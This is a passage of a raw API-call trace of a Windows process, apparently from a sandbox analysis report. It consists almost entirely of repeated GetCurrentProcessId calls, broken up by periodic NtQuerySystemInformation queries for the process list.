0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.592] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.593] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.594] GetCurrentProcessId () returned 0xbf4 [0284.595] GetCurrentProcessId () returned 0xbf4 [0284.595] GetCurrentProcessId () returned 0xbf4 [0284.595] GetCurrentProcessId () returned 0xbf4 [0284.595] GetCurrentProcessId () returned 0xbf4 [0284.595] GetCurrentProcessId () returned 0xbf4 [0284.595] GetCurrentProcessId () returned 0xbf4 [0284.595] GetCurrentProcessId () returned 0xbf4 [0284.595] GetCurrentProcessId () returned 0xbf4 [0284.595] GetCurrentProcessId () returned 0xbf4 [0285.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c750) returned 0x0 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.179] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.180] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.181] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.182] GetCurrentProcessId () returned 0xbf4 [0285.184] GetCurrentProcessId () returned 0xbf4 [0285.184] GetCurrentProcessId () returned 0xbf4 [0285.184] GetCurrentProcessId () returned 0xbf4 [0285.184] GetCurrentProcessId () returned 0xbf4 [0285.184] GetCurrentProcessId () returned 0xbf4 [0285.184] GetCurrentProcessId () returned 0xbf4 [0285.184] GetCurrentProcessId () returned 0xbf4 [0285.184] GetCurrentProcessId () returned 0xbf4 [0285.184] GetCurrentProcessId () returned 0xbf4 [0285.184] GetCurrentProcessId () returned 0xbf4 [0285.697] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c7a0) returned 0x0 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.735] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.736] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.737] GetCurrentProcessId () returned 0xbf4 [0285.738] GetCurrentProcessId () returned 0xbf4 [0285.738] GetCurrentProcessId () returned 0xbf4 [0285.738] GetCurrentProcessId () returned 0xbf4 [0285.738] GetCurrentProcessId () returned 0xbf4 [0285.738] GetCurrentProcessId () returned 0xbf4 [0285.738] GetCurrentProcessId () returned 0xbf4 [0285.738] GetCurrentProcessId () returned 0xbf4 [0285.738] GetCurrentProcessId () returned 0xbf4 [0285.738] GetCurrentProcessId () returned 0xbf4 [0285.738] GetCurrentProcessId () returned 0xbf4 [0285.738] GetCurrentProcessId () returned 0xbf4 [0285.738] GetCurrentProcessId () returned 0xbf4 [0285.738] GetCurrentProcessId () returned 0xbf4 [0286.245] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c840) returned 0x0 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.249] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.250] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.251] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.252] GetCurrentProcessId () returned 0xbf4 [0286.253] GetCurrentProcessId () returned 0xbf4 [0286.253] GetCurrentProcessId () returned 0xbf4 [0286.760] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c930) returned 0x0 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.764] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.765] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.766] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0286.767] GetCurrentProcessId () returned 0xbf4 [0287.281] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c930) returned 0x0 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.288] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 0xbf4 [0287.289] GetCurrentProcessId () returned 